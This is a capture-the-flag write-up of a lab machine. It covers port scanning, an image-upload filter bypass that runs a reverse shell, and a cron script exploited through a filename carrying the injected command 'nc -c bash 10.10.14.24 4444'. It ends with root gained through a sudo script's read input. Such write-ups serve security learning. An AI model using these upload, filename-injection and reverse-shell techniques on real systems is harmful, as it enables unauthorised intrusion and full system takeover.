To solve this machine, we start by enumerating all ports; we see that only ports 22, 80, 443 are open. Next, we enumerate port 80, seeing there is a file upload page that we are able to use to upload a reverse shell. On the box, we look inside the user
guly‘s home directory, and see a crontab script –
crontab.guly. Looking at the script, we see that it runs another script that we are also able to read –
check_attack.php contains a code injection vulnerability that we are able to exploit to get a reverse shell back as
guly – allowing us to get
user.txt. We have sudo privileges to run a file that contains a vulnerability in how input is supplied using the read bash command. Exploiting this, we are able to launch bash as root and get
Like all machines, we begin by enumerating all open ports using nmap, then run nmap scripts against them:
$ nmap --min-rate 4000 -p- 10.10.10.146 [...] $ nmap -A -p 22,80,443 -oA scans/tcpAllScripts 10.10.10.146 Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-30 10:20 CDT Nmap scan report for 10.10.10.146 Host is up (0.055s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA) | 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA) |_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 443/tcp closed https Aggressive OS guesses: Linux 3.10 - 4.11 (94%), Linux 3.18 (91%), Linux 3.2 - 4.9 (91%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 4.10 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Asus RT-AC66U WAP (90%), Li nux 3.10 (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 54.09 ms 10.10.14.1 2 54.34 ms 10.10.10.146 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.84 seconds
Seeing that port
80 is open, we use gobuster to enumerate it:
$ gobuster dir -u 10.10.10.146 -w /opt/wordlists/seclists/Discovery/Web-Content/common.txt -o scans/gobuster-80-common.txt $ gobuster dir -u 10.10.10.146 -w /opt/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -o scans/gobuster-80-raft-medium-files.txt
Of note, running these commands found:
/uploads (Status: 301) /upload.php (Status: 200) /photos.php (Status: 200)
/upload.php, we see that this page allows us to upload files. Trying to upload a regular file before uploading a reverse shell, we see that it only wants us to upload an image.
Trying quick evasion techniques like changing the filename and mime-type prove unsuccessful, however, we are able to cat a legitimate image file with our reverse shell to evade the filtering. Once our file uploads, we are instructed to refresh the gallery. To do this, we navigate to
http://10.10.10.146/photos.php, which then runs our reverse shell.
Looking around the machine, we go to the user
guly‘s home directory, where we see there is a cron script we are able to read –
crontab.guly. Every 3 minutes, this script runs another script,
check_attack.php, that we are also able to read.
check_attack.php essentially gets a list of every file in
/var/www/html/uploads/ and processes it for removal if it is not named
foreach loop iterates over every filename, storing the name in variable
$value. We notice that
$value is not sanitized in any way, which means we should be able to inject code to get a reverse shell. To do this, we use the touch command to create a file named
‘; nc -c bash 10.10.14.24 4444 &’.
touch ‘; nc -c bash 10.10.14.24 4444 &’
Once the cron job executes, we should have a shell as
guly and be able to read
At this point, we can generate and upload our RSA public key so we can have a true shell via SSH.
One of the first things we do when connecting as a new user is run sudo -l, which shows we can run
/usr/local/sbin/changename.sh as root.
Looking at the script, we see that it serves as a way to create new network interfaces. Looking deeper at the script, we see the read command takes input from the user. Due to the way the Linux command line works, arguments are separated by whitespace, unless surrounded by quotes. Because of this, we should be able to inject the bash command through this script. To launch bash as the root user, we should be able to supply it as the second argument.
Injecting bash as the second argument when we are asked for input successfully gives us a shell as
root. We are now able to read
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!